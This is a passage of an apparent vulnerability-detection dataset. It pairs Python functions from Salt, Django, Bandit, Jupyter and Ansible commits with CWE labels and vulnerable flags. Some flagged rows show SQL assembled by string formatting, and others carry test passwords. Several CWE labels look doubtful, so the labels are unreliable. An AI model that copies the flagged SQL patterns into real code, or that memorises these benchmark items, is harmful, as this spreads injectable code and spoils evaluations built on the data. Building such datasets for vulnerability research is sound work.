            assert mac_brew._homebrew_bin() == HOMEBREW_BIN",CWE-703,saltstack/salt,ae9cca59b46a9854c40da33944089e358acb2ccb,"def test_homebrew_bin(HOMEBREW_BIN):
    """"""
    Tests the path to the homebrew binary
    """"""
    mock_path = MagicMock(return_value=""/usr/local"")
    with patch.dict(mac_brew.__salt__, {""cmd.run"": mock_path}):
        assert mac_brew._homebrew_bin() == HOMEBREW_BIN"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/html.py,0,"def report(manager, fileobj, sev_level, conf_level, lines=-1):
    """"""Writes issues to 'fileobj' in HTML format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    header_block = """"""
<!DOCTYPE html>
<html>
<head>

<meta charset=""UTF-8"">

<title>
    Bandit Report
</title>

<style>

html * {
    font-family: ""Arial"", sans-serif;
}

pre {
    font-family: ""Monaco"", monospace;
}

.bordered-box {
    border: 1px solid black;
    padding-top:.5em;
    padding-bottom:.5em;
    padding-left:1em;
}

.metrics-box {
    font-size: 1.1em;
    line-height: 130%;
}

.metrics-title {
    font-size: 1.5em;
    font-weight: 500;
    margin-bottom: .25em;
}

.issue-description {
    font-size: 1.3em;
    font-weight: 500;
}

.candidate-issues {
    margin-left: 2em;
    border-left: solid 1px; LightGray;
    padding-left: 5%;
    margin-top: .2em;
    margin-bottom: .2em;
}

.issue-block {
    border: 1px solid LightGray;
    padding-left: .5em;
    padding-top: .5em;
    padding-bottom: .5em;
    margin-bottom: .5em;
}

.issue-sev-high {
    background-color: Pink;
}

.issue-sev-medium {
    background-color: NavajoWhite;
}

.issue-sev-low {
    background-color: LightCyan;
}

</style>
</head>
""""""

    report_block = """"""
<body>
{metrics}
{skipped}

<br>
<div id=""results"">
    {results}
</div>

</body>
</html>
""""""

    issue_block = """"""
<div id=""issue-{issue_no}"">
<div class=""issue-block {issue_class}"">
    <b>{test_name}: </b> {test_text}<br>
    <b>Test ID:</b> {test_id}<br>
    <b>Severity: </b>{severity}<br>
    <b>CWE: </b>{cwe}<br>
    <b>Confidence: </b>{confidence}<br>
    <b>File: </b><a href=""{path}"" target=""_blank"">{path}</a> <br>
    <b>Line number: </b>{line_number}<br>
    <b>More info: </b><a href=""{url}"" target=""_blank"">{url}</a><br>
{code}
{candidates}
</div>
</div>
""""""

    code_block = """"""
<div class=""code"">
<pre>
{code}
</pre>
</div>
""""""

    candidate_block = """"""
<div class=""candidates"">
<br>
<b>Candidates: </b>
{candidate_list}
</div>
""""""

    candidate_issue = """"""
<div class=""candidate"">
<div class=""candidate-issues"">
<pre>{code}</pre>
</div>
</div>
""""""

    skipped_block = """"""
<br>
<div id=""skipped"">
<div class=""bordered-box"">
<b>Skipped files:</b><br><br>
{files_list}
</div>
</div>
""""""

    metrics_block = """"""
<div id=""metrics"">
    <div class=""metrics-box bordered-box"">
        <div class=""metrics-title"">
            Metrics:<br>
        </div>
        Total lines of code: <span id=""loc"">{loc}</span><br>
        Total lines skipped (#nosec): <span id=""nosec"">{nosec}</span>
    </div>
</div>

""""""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)

    baseline = not isinstance(issues, list)

    # build the skipped string to insert in the report
    skipped_str = """".join(
        f""{fname} <b>reason:</b> {reason}<br>""
        for fname, reason in manager.get_skipped()
    )
    if skipped_str:
        skipped_text = skipped_block.format(files_list=skipped_str)
    else:
        skipped_text = """"

    # build the results string to insert in the report
    results_str = """"
    for index, issue in enumerate(issues):
        if not baseline or len(issues[issue]) == 1:
            candidates = """"
            safe_code = html_escape(
                issue.get_code(lines, True).strip(""\n"").lstrip("" "")
            )
            code = code_block.format(code=safe_code)
        else:
            candidates_str = """"
            code = """"
            for candidate in issues[issue]:
                candidate_code = html_escape(
                    candidate.get_code(lines, True).strip(""\n"").lstrip("" "")
                )
                candidates_str += candidate_issue.format(code=candidate_code)

            candidates = candidate_block.format(candidate_list=candidates_str)

        url = docs_utils.get_url(issue.test_id)
        results_str += issue_block.format(
            issue_no=index,
            issue_class=f""issue-sev-{issue.severity.lower()}"",
            test_name=issue.test,
            test_id=issue.test_id,
            test_text=issue.text,
            severity=issue.severity,
            cwe=issue.cwe,
            confidence=issue.confidence,
            path=issue.fname,
            code=code,
            candidates=candidates,
            url=url,
            line_number=issue.lineno,
        )

    # build the metrics string to insert in the report
    metrics_summary = metrics_block.format(
        loc=manager.metrics.data[""_totals""][""loc""],
        nosec=manager.metrics.data[""_totals""][""nosec""],
    )

    # build the report and output it
    report_contents = report_block.format(
        metrics=metrics_summary, skipped=skipped_text, results=results_str
    )

    with fileobj:
        wrapped_file = utils.wrap_file_object(fileobj)
        wrapped_file.write(header_block)
        wrapped_file.write(report_contents)

    if fileobj.name != sys.stdout.name:
        LOG.info(""HTML output written to file: %s"", fileobj.name)",UNKNOWN,PyCQA/bandit,7d6ab4a3e503843df3da389ce32ab30832d71474,"def report(manager, fileobj, sev_level, conf_level, lines=-1):
    """"""Writes issues to 'fileobj' in HTML format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    header_block = """"""
<!DOCTYPE html>
<html>
<head>

<meta charset=""UTF-8"">

<title>
    Bandit Report
</title>

<style>

html * {
    font-family: ""Arial"", sans-serif;
}

pre {
    font-family: ""Monaco"", monospace;
}

.bordered-box {
    border: 1px solid black;
    padding-top:.5em;
    padding-bottom:.5em;
    padding-left:1em;
}

.metrics-box {
    font-size: 1.1em;
    line-height: 130%;
}

.metrics-title {
    font-size: 1.5em;
    font-weight: 500;
    margin-bottom: .25em;
}

.issue-description {
    font-size: 1.3em;
    font-weight: 500;
}

.candidate-issues {
    margin-left: 2em;
    border-left: solid 1px; LightGray;
    padding-left: 5%;
    margin-top: .2em;
    margin-bottom: .2em;
}

.issue-block {
    border: 1px solid LightGray;
    padding-left: .5em;
    padding-top: .5em;
    padding-bottom: .5em;
    margin-bottom: .5em;
}

.issue-sev-high {
    background-color: Pink;
}

.issue-sev-medium {
    background-color: NavajoWhite;
}

.issue-sev-low {
    background-color: LightCyan;
}

</style>
</head>
""""""

    report_block = """"""
<body>
{metrics}
{skipped}

<br>
<div id=""results"">
    {results}
</div>

</body>
</html>
""""""

    issue_block = """"""
<div id=""issue-{issue_no}"">
<div class=""issue-block {issue_class}"">
    <b>{test_name}: </b> {test_text}<br>
    <b>Test ID:</b> {test_id}<br>
    <b>Severity: </b>{severity}<br>
    <b>Confidence: </b>{confidence}<br>
    <b>File: </b><a href=""{path}"" target=""_blank"">{path}</a> <br>
    <b>Line number: </b>{line_number}<br>
    <b>More info: </b><a href=""{url}"" target=""_blank"">{url}</a><br>
{code}
{candidates}
</div>
</div>
""""""

    code_block = """"""
<div class=""code"">
<pre>
{code}
</pre>
</div>
""""""

    candidate_block = """"""
<div class=""candidates"">
<br>
<b>Candidates: </b>
{candidate_list}
</div>
""""""

    candidate_issue = """"""
<div class=""candidate"">
<div class=""candidate-issues"">
<pre>{code}</pre>
</div>
</div>
""""""

    skipped_block = """"""
<br>
<div id=""skipped"">
<div class=""bordered-box"">
<b>Skipped files:</b><br><br>
{files_list}
</div>
</div>
""""""

    metrics_block = """"""
<div id=""metrics"">
    <div class=""metrics-box bordered-box"">
        <div class=""metrics-title"">
            Metrics:<br>
        </div>
        Total lines of code: <span id=""loc"">{loc}</span><br>
        Total lines skipped (#nosec): <span id=""nosec"">{nosec}</span>
    </div>
</div>

""""""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)

    baseline = not isinstance(issues, list)

    # build the skipped string to insert in the report
    skipped_str = """".join(
        f""{fname} <b>reason:</b> {reason}<br>""
        for fname, reason in manager.get_skipped()
    )
    if skipped_str:
        skipped_text = skipped_block.format(files_list=skipped_str)
    else:
        skipped_text = """"

    # build the results string to insert in the report
    results_str = """"
    for index, issue in enumerate(issues):
        if not baseline or len(issues[issue]) == 1:
            candidates = """"
            safe_code = html_escape(
                issue.get_code(lines, True).strip(""\n"").lstrip("" "")
            )
            code = code_block.format(code=safe_code)
        else:
            candidates_str = """"
            code = """"
            for candidate in issues[issue]:
                candidate_code = html_escape(
                    candidate.get_code(lines, True).strip(""\n"").lstrip("" "")
                )
                candidates_str += candidate_issue.format(code=candidate_code)

            candidates = candidate_block.format(candidate_list=candidates_str)

        url = docs_utils.get_url(issue.test_id)
        results_str += issue_block.format(
            issue_no=index,
            issue_class=f""issue-sev-{issue.severity.lower()}"",
            test_name=issue.test,
            test_id=issue.test_id,
            test_text=issue.text,
            severity=issue.severity,
            confidence=issue.confidence,
            path=issue.fname,
            code=code,
            candidates=candidates,
            url=url,
            line_number=issue.lineno,
        )

    # build the metrics string to insert in the report
    metrics_summary = metrics_block.format(
        loc=manager.metrics.data[""_totals""][""loc""],
        nosec=manager.metrics.data[""_totals""][""nosec""],
    )

    # build the report and output it
    report_contents = report_block.format(
        metrics=metrics_summary, skipped=skipped_text, results=results_str
    )

    with fileobj:
        wrapped_file = utils.wrap_file_object(fileobj)
        wrapped_file.write(header_block)
        wrapped_file.write(report_contents)

    if fileobj.name != sys.stdout.name:
        LOG.info(""HTML output written to file: %s"", fileobj.name)"
,UNKNOWN,UNKNOWN,tests/modeltests/test_client/models.py,1,"def test_view_with_inactive_login(self):
        ""Request a page that is protected with @login, but use an inactive login""

        login = self.client.login(username='inactive', password='password')
        self.failIf(login)",CWE-259,django/django,8dff1cd91dcef967c2bbcf23b4a32458c0e0f83f,"def test_view_with_inactive_login(self):
        ""Request a page that is protected with @login, but use an inactive login""

        login = self.client.login(username='inactive', password='password')
        self.failIf(login)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/cache/backends/memcached.py,0,"def get(self, key, default=None):
        val = self._cache.get(smart_str(key))
        if val is None:
            return default
        return val",CWE-Unknown,django/django,7e1c67040c779765f1beb6e9be4caab26a6efd96,"def get(self, key, default=None):
        val = self._cache.get(smart_str(key))
        if val is None:
            return default
        else:
            if isinstance(val, basestring):
                return smart_unicode(val)
            else:
                return val"
,UNKNOWN,UNKNOWN,django/contrib/gis/db/backends/spatialite/operations.py,1,"def _get_spatialite_func(self, func):
        """"""
        Helper routine for calling SpatiaLite functions and returning
        their result.
        Any error occurring in this method should be handled by the caller.
        """"""
        cursor = self.connection._cursor()
        try:
            cursor.execute('SELECT %s' % func)
            row = cursor.fetchone()
        finally:
            cursor.close()
        return row[0]",CWE-89,django/django,996564df4d70947913c70b071cf4a6841c658be2,"def _get_spatialite_func(self, func):
        """"""
        Helper routine for calling SpatiaLite functions and returning
        their result.
        Any error occuring in this method should be handled by the caller.
        """"""
        cursor = self.connection._cursor()
        try:
            cursor.execute('SELECT %s' % func)
            row = cursor.fetchone()
        finally:
            cursor.close()
        return row[0]"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/output/highstate.py,0,"def output(data):
    '''
    The HighState Outputter is only meant to
    be used with the state.highstate function, or a function that returns
    highstate return data.
    '''
    colors = salt.utils.get_colors(__opts__.get('color'))
    for host in data:
        hcolor = colors['GREEN']
        hstrs = []
        if isinstance(data[host], list):
            # Errors have been detected, list them in RED!
            hcolor = colors['RED_BOLD']
            hstrs.append(('    {0}Data failed to compile:{1[ENDC]}'
                          .format(hcolor, colors)))
            for err in data[host]:
                hstrs.append(('{0}----------\n    {1}{2[ENDC]}'
                              .format(hcolor, err, colors)))
        if isinstance(data[host], dict):
            # Strip out the result: True, without changes returns if
            # state_verbose is False
            if not __opts__.get('state_verbose', False):
                data[host] = _strip_clean(data[host])
            # Verify that the needed data is present
            for tname, info in data[host].items():
                if not '__run_num__' in info:
                    err = ('The State execution failed to record the order '
                           'in which all states were executed. The state '
                           'return missing data is:')
                    hstrs.insert(0, pprint.pformat(info))
                    hstrs.insert(0, err)
            # Everything rendered as it should display the output
            for tname in sorted(
                    data[host],
                    key=lambda k: data[host][k].get('__run_num__', 0)):
                ret = data[host][tname]
                tcolor = colors['GREEN']
                if ret['changes']:
                    tcolor = colors['CYAN']
                if ret['result'] is False:
                    hcolor = colors['RED']
                    tcolor = colors['RED']
                if ret['result'] is None:
                    hcolor = colors['YELLOW']
                    tcolor = colors['YELLOW']
                comps = tname.split('_|-')
                if __opts__.get('state_output', 'full').lower() == 'terse':
                    # Print this chunk in a terse way and continue in the
                    # loop
                    msg = (' {0}Name: {1} - Function: {2}.{3} - '
                           'Result: {4}{5}').format(tcolor,
                                                    comps[2],
                                                    comps[0],
                                                    comps[-1],
                                                    str(ret['result']),
                                                    colors['ENDC'])
                    hstrs.append(msg)
                    continue

                hstrs.append(('{0}----------\n    State: - {1}{2[ENDC]}'
                              .format(tcolor, comps[0], colors)))
                hstrs.append('    {0}Name:      {1}{2[ENDC]}'.format(
                    tcolor,
                    comps[2],
                    colors
                ))
                hstrs.append('    {0}Function:  {1}{2[ENDC]}'.format(
                    tcolor,
                    comps[-1],
                    colors
                ))
                hstrs.append('        {0}Result:    {1}{2[ENDC]}'.format(
                    tcolor,
                    str(ret['result']),
                    colors
                ))
                hstrs.append('        {0}Comment:   {1}{2[ENDC]}'.format(
                    tcolor,
                    ret['comment'],
                    colors
                ))
                changes = '        Changes:   '
                for key in ret['changes']:
                    if isinstance(ret['changes'][key], string_types):
                        changes += (key + ': ' + ret['changes'][key] +
                                    '\n                   ')
                    elif isinstance(ret['changes'][key], dict):
                        changes += (key + ': ' +
                                    pprint.pformat(ret['changes'][key]) +
                                    '\n                   ')
                    else:
                        changes += (key + ': ' +
                                    pprint.pformat(ret['changes'][key]) +
                                    '\n                   ')
                hstrs.append(('{0}{1}{2[ENDC]}'
                              .format(tcolor, changes, colors)))
        hstrs.insert(0, ('{0}{1}:{2[ENDC]}'.format(hcolor, host, colors)))
        return '\n'.join(hstrs)",,saltstack/salt,a1c99c265238eb217a0b3c842e5d8b782ecd29b8,"def output(data):
    '''
    The HighState Outputter is only meant to
    be used with the state.highstate function, or a function that returns
    highstate return data.
    '''
    colors = salt.utils.get_colors(__opts__.get('color'))
    for host in data:
        hcolor = colors['GREEN']
        hstrs = []
        if isinstance(data[host], list):
            # Errors have been detected, list them in RED!
            hcolor = colors['RED_BOLD']
            hstrs.append(('    {0}Data failed to compile:{1[ENDC]}'
                          .format(hcolor, colors)))
            for err in data[host]:
                hstrs.append(('{0}----------\n    {1}{2[ENDC]}'
                              .format(hcolor, err, colors)))
        if isinstance(data[host], dict):
            # Strip out the result: True, without changes returns if
            # state_verbose is False
            if not __opts__.get('state_verbose', False):
                data[host] = _strip_clean(data[host])
            # Verify that the needed data is present
            for tname, info in data[host].items():
                if not '__run_num__' in info:
                    err = ('The State execution failed to record the order '
                           'in which all states were executed. The state '
                           'return missing data is:')
                    hstrs.insert(0, pprint.pformat(info))
                    hstrs.insert(0, err)
            # Everything rendered as it should display the output
            for tname in sorted(
                    data[host],
                    key=lambda k: data[host][k].get('__run_num__', 0)):
                ret = data[host][tname]
                tcolor = colors['GREEN']
                if ret['changes']:
                    tcolor = colors['CYAN']
                if ret['result'] is False:
                    hcolor = colors['RED']
                    tcolor = colors['RED']
                if ret['result'] is None:
                    hcolor = colors['YELLOW']
                    tcolor = colors['YELLOW']
                comps = tname.split('_|-')
                if __opts__.get('state_output', 'full').lower() == 'terse':
                    # Print this chunk in a terse way and continue in the
                    # loop
                    msg = (' {0}Name: {1} - Function: {2}.{3} - Result: {4}{5}'
                            ).format(
                                    tcolor,
                                    comps[2],
                                    comps[0],
                                    comps[-1],
                                    str(ret['result']),
                                    colors['ENDC']
                                    )
                    hstrs.append(msg)
                    continue

                hstrs.append(('{0}----------\n    State: - {1}{2[ENDC]}'
                              .format(tcolor, comps[0], colors)))
                hstrs.append('    {0}Name:      {1}{2[ENDC]}'.format(
                    tcolor,
                    comps[2],
                    colors
                    ))
                hstrs.append('    {0}Function:  {1}{2[ENDC]}'.format(
                    tcolor,
                    comps[-1],
                    colors
                    ))
                hstrs.append('        {0}Result:    {1}{2[ENDC]}'.format(
                    tcolor,
                    str(ret['result']),
                    colors
                    ))
                hstrs.append('        {0}Comment:   {1}{2[ENDC]}'.format(
                    tcolor,
                    ret['comment'],
                    colors
                    ))
                changes = '        Changes:   '
                for key in ret['changes']:
                    if isinstance(ret['changes'][key], string_types):
                        changes += (key + ': ' + ret['changes'][key] +
                                    '\n                   ')
                    elif isinstance(ret['changes'][key], dict):
                        changes += (key + ': ' +
                                    pprint.pformat(ret['changes'][key]) +
                                    '\n                   ')
                    else:
                        changes += (key + ': ' +
                                    pprint.pformat(ret['changes'][key]) +
                                    '\n                   ')
                hstrs.append(('{0}{1}{2[ENDC]}'
                              .format(tcolor, changes, colors)))
        hstrs.insert(0, ('{0}{1}:{2[ENDC]}'.format(hcolor, host, colors)))
        return '\n'.join(hstrs)"
,UNKNOWN,UNKNOWN,django/db/backends/mysql/features.py,1,"def is_sql_auto_is_null_enabled(self):
        with self.connection.cursor() as cursor:
            cursor.execute('SELECT @@SQL_AUTO_IS_NULL')
            result = cursor.fetchone()
            return result and result[0] == 1",CWE-89,django/django,11c5c3b8012328dfc0fbb78c758335c6e6054cc5,"def is_sql_auto_is_null_enabled(self):
        with self.connection.cursor() as cursor:
            cursor.execute('SELECT @@SQL_AUTO_IS_NULL')
            return cursor.fetchone()[0] == 1"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/frontend/html/notebook/handlers.py,0,"def post(self):
        km = self.kernel_manager
        nbm = self.notebook_manager
        notebook_id = self.get_argument('notebook', default=None)
        kernel_id = km.start_kernel(notebook_id, cwd=nbm.notebook_dir)
        data = {'ws_url':self.ws_url,'kernel_id':kernel_id}
        self.set_header('Location', '{0}kernels/{1}'.format(self.base_kernel_url, kernel_id))
        self.finish(jsonapi.dumps(data))",,jupyter/notebook,030c547e5851e1ad031589f0eea303d5c70ca799,"def post(self):
        km = self.kernel_manager
        nbm = self.notebook_manager
        notebook_id = self.get_argument('notebook', default=None)
        kernel_id = km.start_kernel(notebook_id, cwd=nbm.notebook_dir)
        data = {'ws_url':self.ws_url,'kernel_id':kernel_id}
        self.set_header('Location', '/'+kernel_id)
        self.finish(jsonapi.dumps(data))"
,UNKNOWN,UNKNOWN,tests/migrations/test_operations.py,1,"def set_up_test_model(self, app_label, second_model=False, third_model=False, related_model=False, mti_model=False, proxy_model=False):
        """"""
        Creates a test model state and database table.
        """"""
        # Delete the tables if they already exist
        with connection.cursor() as cursor:
            # Start with ManyToMany tables
            try:
                cursor.execute(""DROP TABLE %s_pony_stables"" % app_label)
            except DatabaseError:
                pass
            try:
                cursor.execute(""DROP TABLE %s_pony_vans"" % app_label)
            except DatabaseError:
                pass

            # Then standard model tables
            try:
                cursor.execute(""DROP TABLE %s_pony"" % app_label)
            except DatabaseError:
                pass
            try:
                cursor.execute(""DROP TABLE %s_stable"" % app_label)
            except DatabaseError:
                pass
            try:
                cursor.execute(""DROP TABLE %s_van"" % app_label)
            except DatabaseError:
                pass
        # Make the ""current"" state
        operations = [migrations.CreateModel(
            ""Pony"",
            [
                (""id"", models.AutoField(primary_key=True)),
                (""pink"", models.IntegerField(default=3)),
                (""weight"", models.FloatField()),
            ],
            options={
                ""swappable"": ""TEST_SWAP_MODEL"",
            },
        )]
        if second_model:
            operations.append(migrations.CreateModel(
                ""Stable"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if third_model:
            operations.append(migrations.CreateModel(
                ""Van"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if related_model:
            operations.append(migrations.CreateModel(
                ""Rider"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                    (""pony"", models.ForeignKey(""Pony"")),
                ],
            ))
        if mti_model:
            operations.append(migrations.CreateModel(
                ""ShetlandPony"",
                fields=[
                    ('pony_ptr', models.OneToOneField(
                        auto_created=True,
                        primary_key=True,
                        to_field='id',
                        serialize=False,
                        to='Pony',
                    )),
                    (""cuteness"", models.IntegerField(default=1)),
                ],
                bases=['%s.Pony' % app_label],
            ))
        if proxy_model:
            operations.append(migrations.CreateModel(
                ""ProxyPony"",
                fields=[],
                options={""proxy"": True},
                bases=['%s.Pony' % app_label],
            ))

        return self.apply_operations(app_label, ProjectState(), operations)",CWE-89,django/django,1d9f308fa19b7740cf9bd28ddada52b572e25c3a,"def set_up_test_model(self, app_label, second_model=False, third_model=False, related_model=False, mti_model=False, proxy_model=False):
        """"""
        Creates a test model state and database table.
        """"""
        # Delete the tables if they already exist
        with connection.cursor() as cursor:
            # Start with ManyToMany tables
            try:
                cursor.execute(""DROP TABLE %s_pony_stables"" % app_label)
            except DatabaseError:
                pass
            try:
                cursor.execute(""DROP TABLE %s_pony_vans"" % app_label)
            except DatabaseError:
                pass

            # Then standard model tables
            try:
                cursor.execute(""DROP TABLE %s_pony"" % app_label)
            except DatabaseError:
                pass
            try:
                cursor.execute(""DROP TABLE %s_stable"" % app_label)
            except DatabaseError:
                pass
            try:
                cursor.execute(""DROP TABLE %s_van"" % app_label)
            except DatabaseError:
                pass
        # Make the ""current"" state
        operations = [migrations.CreateModel(
            ""Pony"",
            [
                (""id"", models.AutoField(primary_key=True)),
                (""pink"", models.IntegerField(default=3)),
                (""weight"", models.FloatField()),
            ],
            options = {
                ""swappable"": ""TEST_SWAP_MODEL"",
            },
        )]
        if second_model:
            operations.append(migrations.CreateModel(
                ""Stable"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if third_model:
            operations.append(migrations.CreateModel(
                ""Van"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                ]
            ))
        if related_model:
            operations.append(migrations.CreateModel(
                ""Rider"",
                [
                    (""id"", models.AutoField(primary_key=True)),
                    (""pony"", models.ForeignKey(""Pony"")),
                ],
            ))
        if mti_model:
            operations.append(migrations.CreateModel(
                ""ShetlandPony"",
                fields=[
                    ('pony_ptr', models.OneToOneField(
                        auto_created=True,
                        primary_key=True,
                        to_field='id',
                        serialize=False,
                        to='Pony',
                    )),
                    (""cuteness"", models.IntegerField(default=1)),
                ],
                bases=['%s.Pony' % app_label],
            ))
        if proxy_model:
            operations.append(migrations.CreateModel(
                ""ProxyPony"",
                fields=[],
                options={""proxy"": True},
                bases=['%s.Pony' % app_label],
            ))

        return self.apply_operations(app_label, ProjectState(), operations)"
,UNKNOWN,UNKNOWN,tests/unit/pillar/test_mysql.py,1,"def test_302_process_results_with_lists_consecutive(self):
        """"""
        Validates the following results:

          {'a': [
                [[
                    {'e': 1},
                    {'g': 2}
                    ]
                ],
                [[
                    {'j': 3, 'k': 4}
                    ]
                ]
          ]}
        """"""
        return_data = mysql.MySQLExtPillar()
        return_data.as_list = False
        return_data.with_lists = [1, 2, 3]
        return_data.enter_root(None)
        return_data.process_fields([""a"", ""b"", ""c"", ""d"", ""e"", ""v""], 0)
        return_data.process_results(
            [
                [""a"", ""b"", ""c"", ""d"", ""e"", 1],
                [""a"", ""b"", ""c"", ""f"", ""g"", 2],
                [""a"", ""z"", ""h"", ""y"", ""j"", 3],
                [""a"", ""z"", ""h"", ""y"", ""k"", 4],
            ]
        )

        assert ""a"" in return_data.result
        for x in return_data.result[""a""]:
            assert len(x) == 1
            if len(x[0][0]) == 1:
                for y in x[0]:
                    if ""e"" in y:
                        assert list(y.keys()) == [""e""]
                        assert y[""e""] == 1
                    elif ""g"" in y:
                        assert list(y.keys()) == [""g""]
                        assert y[""g""] == 2
                    else:
                        raise ValueError(""Unexpected value {}"".format(y))
            elif len(x[0][0]) == 2:
                for y in x[0]:
                    if ""j"" in y:
                        assert len(y.keys()) == 2
                        assert y[""j""] == 3
                    elif ""k"" in y:
                        assert len(y.keys()) == 2
                        assert y[""k""] == 4
                    else:
                        raise ValueError(""Unexpected value {}"".format(len(x[0][0])))
            else:
                raise ValueError(""Unexpected value {}"".format(x))",CWE-703,saltstack/salt,5b0844adb19552d027f22164c0a341a61279d279,"def test_302_process_results_with_lists_consecutive(self):
        """"""
        Validates the following results:

          {'a': [
                [[
                    {'e': 1},
                    {'g': 2}
                    ]
                ],
                [[
                    {'j': 3, 'k': 4}
                    ]
                ]
          ]}
        """"""
        return_data = mysql.MySQLExtPillar()
        return_data.as_list = False
        return_data.with_lists = [1, 2, 3]
        return_data.enter_root(None)
        return_data.process_fields([""a"", ""b"", ""c"", ""d"", ""e"", ""v""], 0)
        return_data.process_results(
            [
                [""a"", ""b"", ""c"", ""d"", ""e"", 1],
                [""a"", ""b"", ""c"", ""f"", ""g"", 2],
                [""a"", ""z"", ""h"", ""y"", ""j"", 3],
                [""a"", ""z"", ""h"", ""y"", ""k"", 4],
            ]
        )

        assert ""a"" in return_data.result
        for x in return_data.result[""a""]:
            assert len(x) == 1
            if len(x[0][0]) == 1:
                for y in x[0]:
                    if ""e"" in y:
                        assert list(y.keys()) == [""e""]
                        assert y[""e""] == 1
                    elif ""g"" in y:
                        assert list(y.keys()) == [""g""]
                        assert y[""g""] == 2
                    else:
                        raise ValueError(""Unexpected value {}"".format(y))
            elif len(x[0][0]) == 2:
                for y in x[0]:
                    if ""j"" in y:
                        assert len(y.keys()) == 2
                        assert y[""j""] == 3
                    elif ""k"" in y:
                        assert len(y.keys()) == 2
                        assert y[""k""] == 4
                    else:
                        raise ValueError(""Unexpected value {}"".format(len(x[0][0])))
            else:
                raise ValueError(""Unexpected value {}"".format(x))"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/playbook/task.py,0,"def get_vars(self):
        all_vars = dict()
        if self._block:
            all_vars.update(self._block.get_vars())
        if self._task_include:
            all_vars.update(self._task_include.get_vars())

        all_vars.update(self.vars)

        if 'tags' in all_vars:
            del all_vars['tags']
        if 'when' in all_vars:
            del all_vars['when']

        return all_vars",,ansible/ansible,91500f8f5f0def49120daa941d139c3809843f9d,"def get_vars(self):
        all_vars = dict()
        if self._block:
            all_vars.update(self._block.get_vars())
        if self._task_include:
            all_vars.update(self._task_include.get_vars())

        all_vars.update(self.vars)

        if 'tags' in all_vars:
            del all_vars['tags']
        if 'when' in all_vars:
            del all_vars['when']

        return all_vars"
,UNKNOWN,UNKNOWN,tests/admin_inlines/tests.py,1,"def test_inline_formset_error(self):
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_holder5_add'))
        stacked_inline_formset_selector = 'div#inner5stacked_set-group fieldset.module.collapse'
        tabular_inline_formset_selector = 'div#inner5tabular_set-group fieldset.module.collapse'
        # Inlines without errors, both inlines collapsed
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector + '.collapsed')), 1
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector + '.collapsed')), 1
        )
        show_links = self.selenium.find_elements_by_link_text('SHOW')
        self.assertEqual(len(show_links), 2)

        # Inlines with errors, both inlines expanded
        test_fields = ['#id_inner5stacked_set-0-dummy', '#id_inner5tabular_set-0-dummy']
        for show_index, field_name in enumerate(test_fields):
            show_links[show_index].click()
            self.wait_until_visible(field_name)
            self.selenium.find_element_by_id(field_name[1:]).send_keys(1)
        hide_links = self.selenium.find_elements_by_link_text('HIDE')
        self.assertEqual(len(hide_links), 2)
        for hide_index, field_name in enumerate(test_fields):
            hide_link = hide_links[hide_index]
            self.selenium.execute_script('window.scrollTo(0, %s);' % hide_link.location['y'])
            hide_link.click()
            self.wait_until_invisible(field_name)
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector + '.collapsed')), 0
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector + '.collapsed')), 0
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector)), 1
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector)), 1
        )",CWE-259,django/django,d24ba1be7a53a113d19e2860c03aff9922efec24,"def test_inline_formset_error(self):
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_holder5_add'))
        stacked_inline_formset_selector = 'div#inner5stacked_set-group fieldset.module.collapse'
        tabular_inline_formset_selector = 'div#inner5tabular_set-group fieldset.module.collapse'
        # Inlines without errors, both inlines collapsed
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector + '.collapsed')), 1
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector + '.collapsed')), 1
        )
        show_links = self.selenium.find_elements_by_link_text('SHOW')
        self.assertEqual(len(show_links), 2)

        # Inlines with errors, both inlines expanded
        test_fields = ['#id_inner5stacked_set-0-dummy', '#id_inner5tabular_set-0-dummy']
        for show_index, field_name in enumerate(test_fields):
            show_links[show_index].click()
            self.wait_until_visible(field_name)
            self.selenium.find_element_by_id(field_name[1:]).send_keys(1)
        hide_links = self.selenium.find_elements_by_link_text('HIDE')
        self.assertEqual(len(hide_links), 2)
        for hide_index, field_name in enumerate(test_fields):
            hide_links[hide_index].click()
            self.wait_until_invisible(field_name)
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector + '.collapsed')), 0
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector + '.collapsed')), 0
        )
        self.assertEqual(
